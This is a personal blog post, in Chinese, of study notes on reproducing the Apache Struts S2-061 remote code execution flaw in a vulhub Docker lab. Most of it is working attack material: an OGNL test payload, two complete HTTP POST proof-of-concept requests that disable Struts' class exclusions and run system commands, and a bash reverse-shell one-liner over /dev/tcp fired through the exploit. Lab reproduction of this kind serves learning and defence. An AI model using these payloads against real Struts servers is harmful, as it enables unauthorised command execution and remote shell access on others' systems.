侧边栏壁纸
博主头像
CuteGhost

书声喜有琴声伴,翰墨新添黛墨香

  • 累计撰写 4 篇文章
  • 累计创建 3 个标签
  • 累计收到 4 条评论
标签搜索

目 录CONTENT

文章目录

S2-061远程代码执行漏洞学习笔记

CuteGhost
2022-03-02 / 2 评论 / 5 点赞 / 7,033 阅读 / 3,743 字
温馨提示:
本文为作者的个人分享,部分素材来自网络,若不小心影响到您的利益,请联系作者删除;若文中存在内容或图片失效,请留言反馈。

1、环境搭建

本次漏洞复现使用docker进行环境搭建,首先需要下载vulhub,当前最新版本的vulhub已经包含S2-061漏洞环境,进入到该目录下,直接执行命令启动环境:
Image.png

使用docker ps命令查看当前运行的docker容器:
Image.png

可以看到该环境使用了8080端口进行通信,访问该地址,确认环境搭建成功:
Image.png

2、漏洞测试

环境搭建成功后,测试是否存在该漏洞,此处使用Payload:

?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

进行测试,可以查看结果:
Image.png

可以看到执行了相加,即可以判断,此处存在漏洞,接下来即进行漏洞的利用。

3、漏洞利用

目前该漏洞存在两个POC,使用POST方式提交数据,达到在服务器执行命令从而获取权限的目的,以下分别为两个POC:
POC1:

POST / HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

POC2:

POST / HTTP/1.1
Host: x.x.x.x:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.110:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1371

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

首先使用dnslog测试一下POC的可用性,如下所示:
image.png

image.png

可知该POC可以使用。
进行反弹shell操作,使用bash命令反弹shell:bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
首先将该命令进行编码:
Image.png

执行POC,反弹shell:
image.png
Image.png

至此,该漏洞复现完毕。

5

评论区